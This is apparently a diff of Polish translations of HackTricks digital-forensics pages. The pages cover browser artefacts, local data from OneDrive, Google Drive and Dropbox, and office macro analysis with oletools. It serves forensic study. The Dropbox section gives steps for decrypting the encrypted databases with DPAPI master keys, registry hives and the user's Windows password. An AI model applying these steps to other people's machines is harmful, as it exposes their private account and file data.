* **Extensions.plist**: Lista rozszerzeń przeglądarki Safari. Użyj `plutil` lub `pluginkit` do odzyskania.
|
||||
* **UserNotificationPermissions.plist**: Domeny uprawnione do wysyłania powiadomień. Użyj `plutil` do analizy.
|
||||
* **LastSession.plist**: Karty z ostatniej sesji. Użyj `plutil` do analizy.
|
||||
* **Wbudowana ochrona przed phishingiem przeglądarki**: Sprawdź za pomocą `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Odpowiedź 1 oznacza, że funkcja jest aktywna.
|
||||
* **Extensions.plist**: Lista rozszerzeń przeglądarki Safari. Użyj `plutil` lub `pluginkit`, aby je odzyskać.
|
||||
* **UserNotificationPermissions.plist**: Domeny uprawnione do wysyłania powiadomień. Użyj `plutil`, aby je przeanalizować.
|
||||
* **LastSession.plist**: Karty z ostatniej sesji. Użyj `plutil`, aby je przeanalizować.
|
||||
* **Wbudowana ochrona przed phishingiem przeglądarki**: Sprawdź, używając `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Odpowiedź 1 wskazuje, że funkcja jest aktywna.
|
||||
|
||||
## Opera
|
||||
|
||||
Dane Opery znajdują się w `/Users/$USER/Library/Application Support/com.operasoftware.Opera` i mają format historii i pobierania podobny do Chrome'a.
|
||||
Dane Opery znajdują się w `/Users/$USER/Library/Application Support/com.operasoftware.Opera` i dzielą format Chrome'a dla historii i pobrań.
|
||||
|
||||
* **Wbudowana ochrona przed phishingiem przeglądarki**: Sprawdź, czy `fraud_protection_enabled` w pliku Preferencje jest ustawione na `true` za pomocą `grep`.
|
||||
* **Wbudowana ochrona przed phishingiem przeglądarki**: Zweryfikuj, sprawdzając, czy `fraud_protection_enabled` w pliku Preferences jest ustawione na `true`, używając `grep`.
|
||||
|
||||
Te ścieżki i polecenia są kluczowe do dostępu i zrozumienia danych przeglądania przechowywanych przez różne przeglądarki internetowe.
|
||||
Te ścieżki i polecenia są kluczowe dla uzyskania dostępu i zrozumienia danych przeglądania przechowywanych przez różne przeglądarki internetowe.
|
||||
|
||||
## Referencje
|
||||
## References
|
||||
|
||||
* [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
|
||||
* [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
|
||||
* [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file)
|
||||
* **Książka: OS X Incident Response: Scripting and Analysis By Jaron Bradley strona 123**
|
||||
* **Książka: OS X Incident Response: Scripting and Analysis By Jaron Bradley str. 123**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) do łatwego tworzenia i **automatyzacji prac** z wykorzystaniem najbardziej zaawansowanych narzędzi społeczności na świecie.\
|
||||
Zdobądź dostęp już dziś:
|
||||
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i zostań ekspertem w hakowaniu AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,31 @@
|
|||
# Lokalne przechowywanie w chmurze
|
||||
# Lokalna Chmura
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować przepływy pracy** z wykorzystaniem najbardziej zaawansowanych narzędzi społeczności.\
|
||||
Otrzymaj dostęp już dziś:
|
||||
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## OneDrive
|
||||
|
||||
W systemie Windows folder OneDrive znajduje się w `\Users\<nazwa_użytkownika>\AppData\Local\Microsoft\OneDrive`. Wewnątrz folderu `logs\Personal` można znaleźć plik `SyncDiagnostics.log`, który zawiera pewne interesujące dane dotyczące zsynchronizowanych plików:
|
||||
W systemie Windows możesz znaleźć folder OneDrive w `\Users\<username>\AppData\Local\Microsoft\OneDrive`. A wewnątrz `logs\Personal` można znaleźć plik `SyncDiagnostics.log`, który zawiera interesujące dane dotyczące zsynchronizowanych plików:
|
||||
|
||||
* Rozmiar w bajtach
|
||||
* Data utworzenia
|
||||
|
@ -35,25 +36,25 @@ W systemie Windows folder OneDrive znajduje się w `\Users\<nazwa_użytkownika>\
|
|||
* Czas generowania raportu
|
||||
* Rozmiar dysku twardego systemu operacyjnego
|
||||
|
||||
Gdy już znajdziesz CID, zaleca się **wyszukiwanie plików zawierających ten identyfikator**. Możesz natrafić na pliki o nazwach: _**\<CID>.ini**_ i _**\<CID>.dat**_, które mogą zawierać interesujące informacje, takie jak nazwy plików zsynchronizowanych z OneDrive.
|
||||
Gdy znajdziesz CID, zaleca się **wyszukiwanie plików zawierających ten identyfikator**. Możesz znaleźć pliki o nazwach: _**\<CID>.ini**_ i _**\<CID>.dat**_, które mogą zawierać interesujące informacje, takie jak nazwy plików zsynchronizowanych z OneDrive.
|
||||
|
||||
## Google Drive
|
||||
|
||||
W systemie Windows główny folder Google Drive znajduje się w `\Users\<nazwa_użytkownika>\AppData\Local\Google\Drive\user_default`\
|
||||
Ten folder zawiera plik o nazwie Sync\_log.log z informacjami, takimi jak adres e-mail konta, nazwy plików, znaczniki czasu, skróty MD5 plików, itp. Nawet usunięte pliki pojawiają się w tym pliku dziennika z odpowiadającymi im skrótami MD5.
|
||||
W systemie Windows możesz znaleźć główny folder Google Drive w `\Users\<username>\AppData\Local\Google\Drive\user_default`\
|
||||
Ten folder zawiera plik o nazwie Sync\_log.log z informacjami takimi jak adres e-mail konta, nazwy plików, znaczniki czasu, hashe MD5 plików itp. Nawet usunięte pliki pojawiają się w tym pliku dziennika z odpowiadającym im MD5.
|
||||
|
||||
Plik **`Cloud_graph\Cloud_graph.db`** to baza danych sqlite, która zawiera tabelę **`cloud_graph_entry`**. W tej tabeli znajdziesz **nazwę** **zsynchronizowanych** **plików**, czas modyfikacji, rozmiar i sumę kontrolną MD5 plików.
|
||||
Plik **`Cloud_graph\Cloud_graph.db`** to baza danych sqlite, która zawiera tabelę **`cloud_graph_entry`**. W tej tabeli można znaleźć **nazwy** **zsynchronizowanych** **plików**, czas modyfikacji, rozmiar i sumę kontrolną MD5 plików.
|
||||
|
||||
Dane tabeli bazy danych **`Sync_config.db`** zawierają adres e-mail konta, ścieżkę folderów udostępnionych i wersję Google Drive.
|
||||
Dane tabeli bazy danych **`Sync_config.db`** zawierają adres e-mail konta, ścieżkę do udostępnionych folderów oraz wersję Google Drive.
|
||||
|
||||
## Dropbox
|
||||
|
||||
Dropbox używa **baz danych SQLite** do zarządzania plikami. W tym\
|
||||
Możesz znaleźć bazy danych w folderach:
|
||||
|
||||
* `\Users\<nazwa_użytkownika>\AppData\Local\Dropbox`
|
||||
* `\Users\<nazwa_użytkownika>\AppData\Local\Dropbox\Instance1`
|
||||
* `\Users\<nazwa_użytkownika>\AppData\Roaming\Dropbox`
|
||||
* `\Users\<username>\AppData\Local\Dropbox`
|
||||
* `\Users\<username>\AppData\Local\Dropbox\Instance1`
|
||||
* `\Users\<username>\AppData\Roaming\Dropbox`
|
||||
|
||||
A główne bazy danych to:
|
||||
|
||||
|
@ -62,9 +63,9 @@ A główne bazy danych to:
|
|||
* Deleted.dbx
|
||||
* Config.dbx
|
||||
|
||||
Rozszerzenie ".dbx" oznacza, że **bazy danych** są **zaszyfrowane**. Dropbox używa **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
|
||||
Rozszerzenie ".dbx" oznacza, że **bazy danych** są **szyfrowane**. Dropbox używa **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
|
||||
|
||||
Aby lepiej zrozumieć szyfrowanie używane przez Dropbox, możesz przeczytać [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
|
||||
Aby lepiej zrozumieć szyfrowanie, które używa Dropbox, możesz przeczytać [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
|
||||
|
||||
Jednak główne informacje to:
|
||||
|
||||
|
@ -73,63 +74,65 @@ Jednak główne informacje to:
|
|||
* **Algorytm**: PBKDF2
|
||||
* **Iteracje**: 1066
|
||||
|
||||
Oprócz tych informacji, aby odszyfrować bazy danych, potrzebujesz:
|
||||
Oprócz tych informacji, aby odszyfrować bazy danych, potrzebujesz jeszcze:
|
||||
|
||||
* **Zaszyfrowany klucz DPAPI**: Możesz go znaleźć w rejestrze wewnątrz `NTUSER.DAT\Software\Dropbox\ks\client` (wyeksportuj te dane jako binarne)
|
||||
* Szyfrowane klucze główne DPAPI: Które można znaleźć w `\Users\<nazwa_użytkownika>\AppData\Roaming\Microsoft\Protect`
|
||||
* **Nazwę użytkownika** i **hasło** użytkownika systemu Windows
|
||||
* **szyfrowanego klucza DPAPI**: Możesz go znaleźć w rejestrze w `NTUSER.DAT\Software\Dropbox\ks\client` (wyeksportuj te dane jako binarne)
|
||||
* **hive'y** **`SYSTEM`** i **`SECURITY`**
|
||||
* **kluczy głównych DPAPI**: Które można znaleźć w `\Users\<username>\AppData\Roaming\Microsoft\Protect`
|
||||
* **nazwa użytkownika** i **hasło** użytkownika systemu Windows
|
||||
|
||||
Następnie możesz użyć narzędzia [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:**
|
||||
|
||||
![](<../../../.gitbook/assets/image (448).png>)
|
||||
|
||||
Jeśli wszystko pójdzie zgodnie z oczekiwaniami, narzędzie wskaże **klucz główny**, który musisz **użyć do odzyskania oryginalnego**. Aby odzyskać oryginalny klucz, po prostu użyj tego [przepisu cyber\_chef](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\) wpisując klucz główny jako "hasło" w przepisie.
|
||||
Jeśli wszystko pójdzie zgodnie z planem, narzędzie wskaże **klucz główny**, który musisz **użyć, aby odzyskać oryginalny**. Aby odzyskać oryginalny klucz, po prostu użyj tego [przepisu cyber\_chef](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)), wstawiając klucz główny jako "hasło" w przepisie.
|
||||
|
||||
Wynikowy szesnastkowy kod to ostateczny klucz używany do szyfrowania baz danych, które można odszyfrować za pomocą:
|
||||
Ostateczny hex to klucz użyty do szyfrowania baz danych, który można odszyfrować za pomocą:
|
||||
```bash
|
||||
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
|
||||
```
|
||||
Baza danych **`config.dbx`** zawiera:
|
||||
The **`config.dbx`** baza danych zawiera:
|
||||
|
||||
- **Email**: Email użytkownika
|
||||
- **usernamedisplayname**: Nazwa użytkownika
|
||||
- **dropbox\_path**: Ścieżka, gdzie znajduje się folder Dropbox
|
||||
- **Host\_id: Hash** używany do uwierzytelnienia w chmurze. Można go wycofać tylko z poziomu sieci.
|
||||
- **Root\_ns**: Identyfikator użytkownika
|
||||
* **Email**: Email użytkownika
|
||||
* **usernamedisplayname**: Nazwa użytkownika
|
||||
* **dropbox\_path**: Ścieżka, w której znajduje się folder dropbox
|
||||
* **Host\_id: Hash** używany do uwierzytelniania w chmurze. Może być odwołany tylko z poziomu sieci.
|
||||
* **Root\_ns**: Identyfikator użytkownika
|
||||
|
||||
Baza danych **`filecache.db`** zawiera informacje o wszystkich plikach i folderach zsynchronizowanych z Dropbox. Tabela `File_journal` zawiera najbardziej przydatne informacje:
|
||||
The **`filecache.db`** baza danych zawiera informacje o wszystkich plikach i folderach synchronizowanych z Dropbox. Tabela `File_journal` zawiera najwięcej przydatnych informacji:
|
||||
|
||||
- **Server\_path**: Ścieżka, gdzie znajduje się plik na serwerze (ścieżka ta poprzedzona jest przez `host_id` klienta).
|
||||
- **local\_sjid**: Wersja pliku
|
||||
- **local\_mtime**: Data modyfikacji
|
||||
- **local\_ctime**: Data utworzenia
|
||||
* **Server\_path**: Ścieżka, w której plik znajduje się na serwerze (ta ścieżka jest poprzedzona `host_id` klienta).
|
||||
* **local\_sjid**: Wersja pliku
|
||||
* **local\_mtime**: Data modyfikacji
|
||||
* **local\_ctime**: Data utworzenia
|
||||
|
||||
Inne tabele w tej bazie danych zawierają bardziej interesujące informacje:
|
||||
|
||||
- **block\_cache**: skrót wszystkich plików i folderów Dropbox
|
||||
- **block\_ref**: Powiązanie identyfikatora skrótu z tabeli `block_cache` z identyfikatorem pliku w tabeli `file_journal`
|
||||
- **mount\_table**: Dzielenie folderów Dropbox
|
||||
- **deleted\_fields**: Usunięte pliki Dropbox
|
||||
- **date\_added**
|
||||
* **block\_cache**: hash wszystkich plików i folderów Dropbox
|
||||
* **block\_ref**: Powiązanie identyfikatora hash z tabeli `block_cache` z identyfikatorem pliku w tabeli `file_journal`
|
||||
* **mount\_table**: Udostępnione foldery Dropbox
|
||||
* **deleted\_fields**: Usunięte pliki Dropbox
|
||||
* **date\_added**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować zadania** przy użyciu najbardziej zaawansowanych narzędzi społeczności na świecie.\
|
||||
Zdobądź dostęp już dziś:
|
||||
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i zostań ekspertem AWS w dziedzinie hakerskiej z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
- Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
- Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
- **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
- **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,36 +1,37 @@
|
|||
# Analiza plików biurowych
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i stań się ekspertem AWS w dziedzinie hakerskiej dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować przepływy pracy** z wykorzystaniem najbardziej zaawansowanych narzędzi społeczności.\
|
||||
Otrzymaj dostęp już dziś:
|
||||
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
Aby uzyskać dalsze informacje, sprawdź [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Oto tylko streszczenie:
|
||||
Aby uzyskać więcej informacji, sprawdź [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). To tylko podsumowanie:
|
||||
|
||||
Microsoft stworzył wiele formatów dokumentów biurowych, z dwoma głównymi typami: **formaty OLE** (takie jak RTF, DOC, XLS, PPT) i **formaty Office Open XML (OOXML)** (takie jak DOCX, XLSX, PPTX). Te formaty mogą zawierać makra, co czyni je celem phishingu i złośliwego oprogramowania. Pliki OOXML są strukturalnie jako kontenery zip, co pozwala na ich inspekcję poprzez rozpakowanie, ujawniając strukturę plików i folderów oraz zawartość plików XML.
|
||||
Microsoft stworzył wiele formatów dokumentów biurowych, z dwoma głównymi typami będącymi **formatami OLE** (takimi jak RTF, DOC, XLS, PPT) oraz **formatami Office Open XML (OOXML)** (takimi jak DOCX, XLSX, PPTX). Te formaty mogą zawierać makra, co czyni je celem dla phishingu i złośliwego oprogramowania. Pliki OOXML są strukturalnie zorganizowane jako kontenery zip, co umożliwia inspekcję poprzez rozpakowanie, ujawniając hierarchię plików i folderów oraz zawartość plików XML.
|
||||
|
||||
Aby zbadać struktury plików OOXML, podano polecenie do rozpakowania dokumentu oraz strukturę wynikową. Udokumentowano techniki ukrywania danych w tych plikach, co wskazuje na ciągłe innowacje w ukrywaniu danych w ramach wyzwań CTF.
|
||||
Aby zbadać struktury plików OOXML, podano polecenie do rozpakowania dokumentu oraz strukturę wyjściową. Techniki ukrywania danych w tych plikach zostały udokumentowane, co wskazuje na ciągłą innowację w ukrywaniu danych w ramach wyzwań CTF.
|
||||
|
||||
Do analizy **oletools** i **OfficeDissector** oferują kompleksowe zestawy narzędzi do badania zarówno dokumentów OLE, jak i OOXML. Te narzędzia pomagają w identyfikowaniu i analizowaniu osadzonych makr, które często służą jako wektory dostarczania złośliwego oprogramowania, zwykle pobierające i wykonujące dodatkowe złośliwe ładunki. Analizę makr VBA można przeprowadzić bez użycia pakietu Microsoft Office, korzystając z Libre Office, co pozwala na debugowanie za pomocą punktów przerwania i zmiennych obserwowanych.
|
||||
Do analizy, **oletools** i **OfficeDissector** oferują kompleksowe zestawy narzędzi do badania zarówno dokumentów OLE, jak i OOXML. Narzędzia te pomagają w identyfikacji i analizie osadzonych makr, które często służą jako wektory dostarczania złośliwego oprogramowania, zazwyczaj pobierając i uruchamiając dodatkowe złośliwe ładunki. Analizę makr VBA można przeprowadzić bez Microsoft Office, wykorzystując Libre Office, które umożliwia debugowanie z punktami przerwania i zmiennymi obserwacyjnymi.
|
||||
|
||||
Instalacja i użycie **oletools** są proste, a polecenia są dostarczone do instalacji za pomocą pip oraz do wyodrębniania makr z dokumentów. Automatyczne wykonanie makr jest wyzwalane przez funkcje takie jak `AutoOpen`, `AutoExec` lub `Document_Open`.
|
||||
Instalacja i użycie **oletools** są proste, z podanymi poleceniami do instalacji za pomocą pip i ekstrakcji makr z dokumentów. Automatyczne uruchamianie makr jest wyzwalane przez funkcje takie jak `AutoOpen`, `AutoExec` lub `Document_Open`.
|
||||
```bash
|
||||
sudo pip3 install -U oletools
|
||||
olevba -c /path/to/document #Extract macros
|
||||
|
@ -38,21 +39,22 @@ olevba -c /path/to/document #Extract macros
|
|||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
